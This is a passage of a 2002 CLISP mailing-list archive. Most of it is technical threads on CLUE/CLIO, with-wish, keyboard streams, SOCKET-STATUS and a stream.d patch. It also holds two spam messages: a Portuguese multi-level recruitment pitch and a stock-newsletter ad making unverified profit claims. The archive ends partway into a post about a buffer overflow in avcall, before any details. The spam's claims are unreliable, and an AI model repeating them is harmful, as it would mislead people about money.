endereços. Peço permissão para enviar e-mails pra você. Trabalho com recrutamento em um ramo de negócios ainda pouco conhecido, a Indústria do Bem-Estar. Procuro pessoas sérias e interessadas em melhorar seu estilo de vida e/ou aumentar seus rendimentos. Se não for o seu caso, pediria que enviasse esse e-mail à sua lista, pois a oportunidade é real e honesta. Além disso, estamos num momento excelente para fazer negócios nesta área (economistas americanos projetam um crescimento de 500% para os próximos 8 anos) e, se você está satisfeito com seu trabalho e seu ganho, pode ser que uma pessoa próxima a você não esteja da mesma forma. Obrigado. Você está ganhando o que merece? Você está preso a um emprego chato e sem futuro? Ou está cansado de administrar empregados, ser o primeiro a chegar e o último a sair,pagar a tudo e a todos e no final do mês ainda “ficar no vermelho”? Você realmente gosta do que está fazendo? Você quer continuar a trabalhar na mesma área nos próximos 5 anos? Este é o ponto que você sonhou que estaria nesta etapa da sua vida? Se você continuar fazendo o que sempre fez, vai continuar obtendo o mesmo resultado. Você quer mudar isso? Se não quiser receber mais informações, por favor não responda este e-mail. OK!! Saúde e Sucesso!!! Rodrigo Pellizzari Recrutamento e Treinamento Industria do Bem Estar Caxias do Sul - RS contatos: (54) 9112-3669 (54) 3025-4679 rp3000@pop.com.br --= Multipart Boundary 1213021807 Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit OLÁ

OLÁ!

 

Meu nome é Rodrigo Pellizzari, provavelmente não nos conhecemos. Recebi algumas mensagens e seu e-mail estava junto. Ao responder ao remetente, o seu endereço eletrônico ficou no meu catálogo de endereços. Peço permissão para enviar e-mails pra você.

 

Trabalho com recrutamento em um ramo de negócios ainda pouco conhecido, a Indústria do Bem-Estar.

Procuro pessoas sérias e interessadas em melhorar seu estilo de vida e/ou aumentar seus rendimentos. Se não for o seu caso, pediria que enviasse esse e-mail à sua lista, pois a oportunidade é real e honesta.

Além disso, estamos num momento excelente para fazer negócios nesta área (economistas americanos projetam um crescimento de 500% para os próximos 8 anos) e, se você está satisfeito com seu trabalho e seu ganho, pode ser que uma pessoa próxima a você não esteja da mesma forma.

 

Obrigado.

  

Você está ganhando o que merece?

Você está preso a um emprego chato e sem futuro? Ou está cansado de administrar empregados, ser o primeiro a chegar e o último a sair,pagar a tudo e a todos e no final do mês ainda “ficar no vermelho”?

Você realmente gosta do que está fazendo?

Você quer continuar a trabalhar na mesma área nos próximos 5 anos?

Este é o ponto que você sonhou que estaria nesta etapa da sua vida?

Se você continuar fazendo o que sempre fez, vai continuar obtendo o mesmo resultado. Você quer mudar isso?

Se não quiser receber mais informações, por favor não responda este e-mail. OK!!

  

Saúde e Sucesso!!!

  

Rodrigo Pellizzari

Recrutamento e Treinamento

Industria do Bem Estar

Caxias do Sul - RS

   

contatos:

(54) 9112-3669

(54) 3025-4679

rp3000@pop.com.br

--= Multipart Boundary 1213021807-- From freegg687@hotmail.com Fri Dec 13 13:36:42 2002 Received: from [200.164.228.186] (helo=hotmail.com ident=nobody) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MxU3-0007YE-00 for ; Fri, 13 Dec 2002 13:36:41 -0800 Received: from 85.201.151.64 ([85.201.151.64]) by da001d2020.loxi.pianstvu.net with QMQP; 13 Dec 2002 09:39:15 +0200 Received: from unknown (31.20.223.104) by hd.ressort.net with asmtp; Fri, 13 Dec 2002 11:37:39 +0400 Received: from 6.208.80.168 ([6.208.80.168]) by f64.law4.hottestmale.com with asmtp; 13 Dec 2002 15:36:03 +1100 Received: from unknown (HELO rly-xl04.mx.aolmd.com) (170.186.221.64) by sydint1.microthink.com.au with smtp; Sat, 14 Dec 2002 02:34:27 -0500 Reply-To: Message-ID: <038e66d80b4d$6442c1c3$3ab15bb3@cbxyrw> From: To: MiME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Priority: 1 (High) X-MSMail-Priority: High X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal Subject: [clisp-list] The ONLY daily stock letter you will ever need! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 13 13:37:04 2002 X-Original-Date: Sat, 14 Dec 2002 02:14:53 -0500 Investor.. Bull Market? Bear Market Bounce? Calm before the Storm (Crash)? Buy and Hold? Day Trade? Swing Trade? Sector Rotate? Asset Allocate? Double Bottom? Double Dip Recession? Inflation? Deflation? Recovery? Depression? Stochastics? Moving Averages? MACD? Bollinger Bands? Level 2 Quotes? ECN's? Earnings? Warnings? Scandals? Arrests? War? Peace? How are you supposed to know what to do with your money if you don't know what the words mean and how they are being used to mislead you down the wrong path, while the 'insiders' go down a different path? The WaveTracker Daily Market Letter is designed for those that prefer 'swing' trading with the time frame of 2 days to 2 months. Released 4 hours before US markets open each trading day, this service provides analysis and commentary of where major markets (Dow, SPX, NDX, COMP, XAU) have been and are going, using Elliott Wave and Fibonacci Theories. We use a proprietary decision-support-model to identify high-confident long and short opportunities with target prices for when we're right, as well as stop losses for when we're wrong, which isn't too often. The portfolio section tracks every selection ever made, allowing you to sort by stock symbol, open/closed positions, longs/shorts, profit/loss, and date highlighted/entered.Long and short opportunities are highlighted only after the markets' probable paths have been explained. Many opportunities per day are presented under our rigid discipline with target entry ranges, exit levels, and stop loss suggestions. This product allows those not able to be in front of a computer all day long to benefit from our system of risk-managed entries and exits, using our 80% threshold on our composite decision model. How have we done? If every pick was followed since inception on May 1 until December 1, 2002, with 100 shares each, after taking in to account the losing picks that were stopped out, the portfolio is ahead over 600 points, or $60,000, not including commissions. Obviously, past results have no predictive ability on future performance. Come see for yourself and sign up for a free trial by clicking on the SIGN UP link. How can you learn what we do and how to do it yourself? Once you have registered with our site, you can click on the TRADING TOOLS button and find out about our WaveChat live-market trading desk/chatroom, Trading Video Course, Best Buys, and some of our other favorite tools. The TRAINING button will take you to information on our Trading Acceleration course, Weekend Wave Wonder Workshops (W4), Private Coaching sessions, and other Special Offerings from time to time. http://www.hot.ee/twws Our MISSION is to use our experience and techniques to uncover the secrets of the game and level the playing field so everyone has an equal chance at success. Sign up FREE for 2 weeks starting now! http://www.hot.ee/twws - For your completely Free Trial If you like the profits, then sign up after the free Trial - If you don't then have the Free Trial with our Compliments. No hard feelings. Try us out - it's free ! http://www.hot.ee/twws ermm... Did I say it's FREE ? Try us for free now, with our Compliments PS Read what our Clients ay about us - just read our Testimonials! 1167vBpJ7-269oNrb8425Vtpy7-781FIJt0489GOGt8-416YDgt6609Nl53 From amoroso@mclink.it Sat Dec 14 05:18:48 2002 Received: from mail4.mclink.it ([195.110.128.78] helo=mail.mclink.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18NCBq-00050n-00 for ; Sat, 14 Dec 2002 05:18:46 -0800 Received: from net203-139-213.mclink.it (net203-139-213.mclink.it [213.203.139.213]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id gBEDILP14120 for ; Sat, 14 Dec 2002 14:18:21 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Organization: Paolo Amoroso - Milan, ITALY Message-ID: <2=76PSkSwg7VpX96CGYjHoKG9k+w@4ax.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] CLUE/CLIO for CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 14 05:19:02 2002 X-Original-Date: Sat, 14 Dec 2002 14:14:28 +0100 Someone recently asked about the state of CLUE/CLIO for CLISP. From the latest CLOCC CVS commit logs, I have seen that Sam is working on the CLOCC port of CLUE/CLIO. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README From dwalker@iximd.com Sat Dec 14 07:06:56 2002 Received: from smtp.comcast.net ([24.153.64.2]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18NDsR-00021z-00 for ; Sat, 14 Dec 2002 07:06:51 -0800 Received: from [192.168.1.100] (pcp03051449pcs.elkton01.md.comcast.net [68.33.6.160]) by mtaout02.icomcast.net (iPlanet Messaging Server 5.2 HotFix 1.07 (built Nov 25 2002)) with ESMTP id <0H7400I007A72C@mtaout02.icomcast.net> for clisp-list@lists.sourceforge.net; Sat, 14 Dec 2002 10:06:07 -0500 (EST) From: Damond Walker In-reply-to: <2=76PSkSwg7VpX96CGYjHoKG9k+w@4ax.com> To: clisp-list@lists.sourceforge.net Message-id: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT User-Agent: Microsoft-Entourage/10.1.1.2418 Subject: [clisp-list] With-wish Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 14 07:07:02 2002 X-Original-Date: Sat, 14 Dec 2002 10:04:58 -0500 Has anyone had any success getting with-wish to work under clisp and macosx? It mostly works out of the box but there is slight problem with the communications between wish and clisp. Small transcript follows: Handshaking ... ok. Initializing ... done. Listening: WISH says: ' 'Ooops! Strange message from wish: ' " "'! WISH says: ' Time ' WISH says: ' 0 'Ooops! Strange message from wish: ' "0 "'! WISH says: ' 'Ooops! Strange message from wish: ' " "'! Thank you. Damond From sds@gnu.org Sat Dec 14 07:17:06 2002 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18NE2M-0004I6-00 for ; Sat, 14 Dec 2002 07:17:06 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out004.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021214151659.MEWW4645.out004.verizon.net@loiso.podval.org>; Sat, 14 Dec 2002 09:16:59 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBEFHg9O005668; Sat, 14 Dec 2002 10:17:43 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBEFHgno005664; Sat, 14 Dec 2002 10:17:42 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLUE/CLIO for CLISP References: <2=76PSkSwg7VpX96CGYjHoKG9k+w@4ax.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2=76PSkSwg7VpX96CGYjHoKG9k+w@4ax.com> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out004.verizon.net from [151.203.32.163] at Sat, 14 Dec 2002 09:16:59 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 14 07:18:01 2002 X-Original-Date: 14 Dec 2002 10:17:42 -0500 > * In message <2=76PSkSwg7VpX96CGYjHoKG9k+w@4ax.com> > * On the subject of "[clisp-list] CLUE/CLIO for CLISP" > * Sent on Sat, 14 Dec 2002 14:14:28 +0100 > * Honorable Paolo Amoroso writes: > > Someone recently asked about the state of CLUE/CLIO for CLISP. From > the latest CLOCC CVS commit logs, I have seen that Sam is working on > the CLOCC port of CLUE/CLIO. Indeed, CVS head CLISP with MIT-CLX compiles CLOCC CLUE/CLIO I wonder whether this is important enough to be mentioned in the CLISP NEWS file. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux cogito cogito ergo cogito sum From amoroso@mclink.it Sat Dec 14 15:23:13 2002 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18NLcl-0000vI-00 for ; Sat, 14 Dec 2002 15:23:11 -0800 Received: from net203-137-086.mclink.it (net203-137-086.mclink.it [213.203.137.86]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id gBENN6F24614 for ; Sun, 15 Dec 2002 00:23:06 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLUE/CLIO for CLISP Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <2=76PSkSwg7VpX96CGYjHoKG9k+w@4ax.com> In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 14 15:24:01 2002 X-Original-Date: Sun, 15 Dec 2002 00:19:13 +0100 On 14 Dec 2002 10:17:42 -0500, Sam Steingold wrote: > Indeed, CVS head CLISP with MIT-CLX compiles CLOCC CLUE/CLIO > > I wonder whether this is important enough to be mentioned in the CLISP > NEWS file. I think so. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README From jamison@redwood.snu.ac.kr Sun Dec 15 01:24:09 2002 Received: from babywood.snu.ac.kr ([147.46.116.222] helo=woody.snu.ac.kr) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18NUzl-0000hm-00 for ; Sun, 15 Dec 2002 01:23:33 -0800 Received: (from jamison@localhost) by woody.snu.ac.kr (8.11.6/8.11.6) id gBF9Tjj25284; Sun, 15 Dec 2002 18:29:45 +0900 X-Authentication-Warning: woody.snu.ac.kr: jamison set sender to jamison@redwood.snu.ac.kr using -f Subject: Re: [clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen From: Jamison Masse To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <1039656278.1668.990.camel@woody.snu.ac.kr> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Message-Id: <1039944585.25242.39.camel@woody.snu.ac.kr> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 15 01:25:02 2002 X-Original-Date: 15 Dec 2002 18:29:45 +0900 > Please try the appended patch - it should fix the bug. > Please report your experiences here ASAP. I downloaded 2.30 (was running 2.29), applied the patch the stream.d and it failed to compile, the errors follow: stream.d: At top level: stream.d:8649: parse error before `*' stream.d:8649: warning: type defaults to `int' in declaration of `gcv_object_t' stream.d:8649: parse error before `*' stream.d:8649: warning: return type defaults to `int' stream.d: In function `kbd_last_buf': stream.d:8650: `gcv_object_t' undeclared (first use in this function) stream.d:8650: (Each undeclared identifier is reported only once stream.d:8650: for each function it appears in.) stream.d:8650: `last_' undeclared (first use in this function) stream.d:8650: `stream_' undeclared (first use in this function) stream.d:8653: warning: control reaches end of non-void function I quickly grep'ed around the source and couldn't find a definition for gcv_object_t, perhaps there's more changes in cvs I need to pick up? Anyway, its not that important, I have no problem waiting for the next point revision to pick up the patch and test it. > > note that this is a "busywait" loop, i.e., it will get your loadavg to 1. > I'm aware of that (and unhappy about it), does clisp have a mechanism that will raise some sort of event when a stream's got something to say? I want to grab keyboard input and keep an eye on a socket at the same time. Thanks, Jamison From sds@gnu.org Sun Dec 15 06:40:40 2002 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18NZwd-00044t-00 for ; Sun, 15 Dec 2002 06:40:39 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop016.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021215144033.IEXM4233.pop016.verizon.net@loiso.podval.org>; Sun, 15 Dec 2002 08:40:33 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBFEfU9O020907; Sun, 15 Dec 2002 09:41:30 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBFEfTr4020903; Sun, 15 Dec 2002 09:41:29 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Jamison Masse Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen References: <1039656278.1668.990.camel@woody.snu.ac.kr> <1039944585.25242.39.camel@woody.snu.ac.kr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1039944585.25242.39.camel@woody.snu.ac.kr> Message-ID: Lines: 40 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop016.verizon.net from [151.203.32.163] at Sun, 15 Dec 2002 08:40:32 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 15 06:41:02 2002 X-Original-Date: 15 Dec 2002 09:41:29 -0500 > * In message <1039944585.25242.39.camel@woody.snu.ac.kr> > * On the subject of "Re: [clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen" > * Sent on 15 Dec 2002 18:29:45 +0900 > * Honorable Jamison Masse writes: > > > Please try the appended patch - it should fix the bug. > > Please report your experiences here ASAP. > I downloaded 2.30 (was running 2.29), applied the patch the stream.d and > it failed to compile, the errors follow: > > stream.d: At top level: > stream.d:8649: parse error before `*' > stream.d:8649: warning: type defaults to `int' in declaration of > `gcv_object_t' > stream.d:8649: parse error before `*' > stream.d:8649: warning: return type defaults to `int' > stream.d: In function `kbd_last_buf': > stream.d:8650: `gcv_object_t' undeclared (first use in this function) > stream.d:8650: (Each undeclared identifier is reported only once > stream.d:8650: for each function it appears in.) > stream.d:8650: `last_' undeclared (first use in this function) > stream.d:8650: `stream_' undeclared (first use in this function) > stream.d:8653: warning: control reaches end of non-void function replace `gcv_object_t' with `object'. > > note that this is a "busywait" loop, i.e., it will get your loadavg to 1. > I'm aware of that (and unhappy about it), does clisp have a mechanism > that will raise some sort of event when a stream's got something to say? > I want to grab keyboard input and keep an eye on a socket at the same > time. SOCKET-STATUS -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Trespassers will be shot. Survivors will be prosecuted. From pascal@thalassa.informatimago.com Sun Dec 15 10:45:47 2002 Received: from thalassa.informatimago.com ([212.87.205.57]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Ndln-0003su-00 for ; Sun, 15 Dec 2002 10:45:43 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 7645194EA7; Sun, 15 Dec 2002 19:45:02 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20021215184502.7645194EA7@thalassa.informatimago.com> Subject: [clisp-list] No input stream on argument line! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 15 10:46:02 2002 X-Original-Date: Sun, 15 Dec 2002 19:45:02 +0100 (CET) Why executing on argument line has no input stream? [pascal@thalassa clisp]$ clisp -norc -q -x '(read-line)' *** - READ: input stream # has reached its end [pascal@thalassa clisp]$ clisp -norc -q [1]> (read-line) [1]> hello "hello" ; NIL [2]> -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. do not adjust your minds. -- Salman Rushdie From sds@gnu.org Sun Dec 15 11:28:21 2002 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18NeR2-0007tp-00 for ; Sun, 15 Dec 2002 11:28:20 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop016.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021215192814.JSJU4233.pop016.verizon.net@loiso.podval.org>; Sun, 15 Dec 2002 13:28:14 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBFJTE9O024520; Sun, 15 Dec 2002 14:29:14 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBFJSlHS024516; Sun, 15 Dec 2002 14:28:47 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] No input stream on argument line! References: <20021215184502.7645194EA7@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20021215184502.7645194EA7@thalassa.informatimago.com> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop016.verizon.net from [151.203.32.163] at Sun, 15 Dec 2002 13:28:14 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 15 11:29:02 2002 X-Original-Date: 15 Dec 2002 14:28:47 -0500 > * In message <20021215184502.7645194EA7@thalassa.informatimago.com> > * On the subject of "[clisp-list] No input stream on argument line!" > * Sent on Sun, 15 Dec 2002 19:45:02 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > Why executing on argument line has no input stream? because -x binds *standard-input* to a STRING-INPUT-STREAM reading from the -x argument. > [pascal@thalassa clisp]$ clisp -norc -q -x '(read-line)' > > *** - READ: input stream # has reached its end $ clisp -norc -q -x '(read-line *terminal-io*)' hello "hello" ; NIL $ -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux XFM: Exit file manager? [Continue] [Cancel] [Abort] From sds@gnu.org Sun Dec 15 12:39:54 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18NfYI-0002kO-00 for ; Sun, 15 Dec 2002 12:39:54 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out001.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021215203945.KXAG4606.out001.verizon.net@loiso.podval.org>; Sun, 15 Dec 2002 14:39:45 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBFKek9O024939; Sun, 15 Dec 2002 15:40:46 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBFKejsw024935; Sun, 15 Dec 2002 15:40:45 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Jamison Masse Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen References: <1039656278.1668.990.camel@woody.snu.ac.kr> <1039944585.25242.39.camel@woody.snu.ac.kr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.32.163] at Sun, 15 Dec 2002 14:39:45 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 15 12:40:04 2002 X-Original-Date: 15 Dec 2002 15:40:45 -0500 > > * In message <1039944585.25242.39.camel@woody.snu.ac.kr> > > * On the subject of "Re: [clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen" > > * Sent on 15 Dec 2002 18:29:45 +0900 > > * Honorable Jamison Masse writes: > > > > > note that this is a "busywait" loop, i.e., it will get your loadavg to 1. > > I'm aware of that (and unhappy about it), does clisp have a mechanism > > that will raise some sort of event when a stream's got something to say? > > I want to grab keyboard input and keep an eye on a socket at the same > > time. > > SOCKET-STATUS > you will need the appended patch to make SOCKET-STATUS work with keyboard-streams too. (or use CVS head) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Garbage In, Gospel Out Index: stream.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/stream.d,v retrieving revision 1.325 retrieving revision 1.326 diff -u -w -b -u -b -w -i -B -r1.325 -r1.326 --- stream.d 13 Dec 2002 16:04:39 -0000 1.325 +++ stream.d 15 Dec 2002 20:08:16 -0000 1.326 @@ -14822,6 +14822,11 @@ if (out_sock) *out_sock = (SOCKET)stdout_handle; if (char_p) *char_p = true; return; + case strmtype_keyboard: + if (in_sock) + *in_sock = TheSocket(TheStream(obj)->strm_keyboard_handle); + if (char_p) *char_p = true; + return; case strmtype_twoway_socket: obj = TheStream(obj)->strm_twoway_socket_input; if (in_sock) *in_sock = SocketChannel(obj); From Joerg-Cyril.Hoehle@t-systems.com Mon Dec 16 09:25:27 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Nyze-0007yt-00 for ; Mon, 16 Dec 2002 09:25:26 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 16 Dec 2002 18:25:17 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 16 Dec 2002 18:25:17 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FEBB4240@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] buffer overflow weakness in avcall/ffcall (was: execl, et al.) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 16 09:26:04 2002 X-Original-Date: Mon, 16 Dec 2002 18:25:15 +0100 Hi, Pascal's post about a def-lib-call being generated at run-time for = execl made me remember the inner workings of the avcall package. avcall.h uses a fixed array internally:=20 /* Max 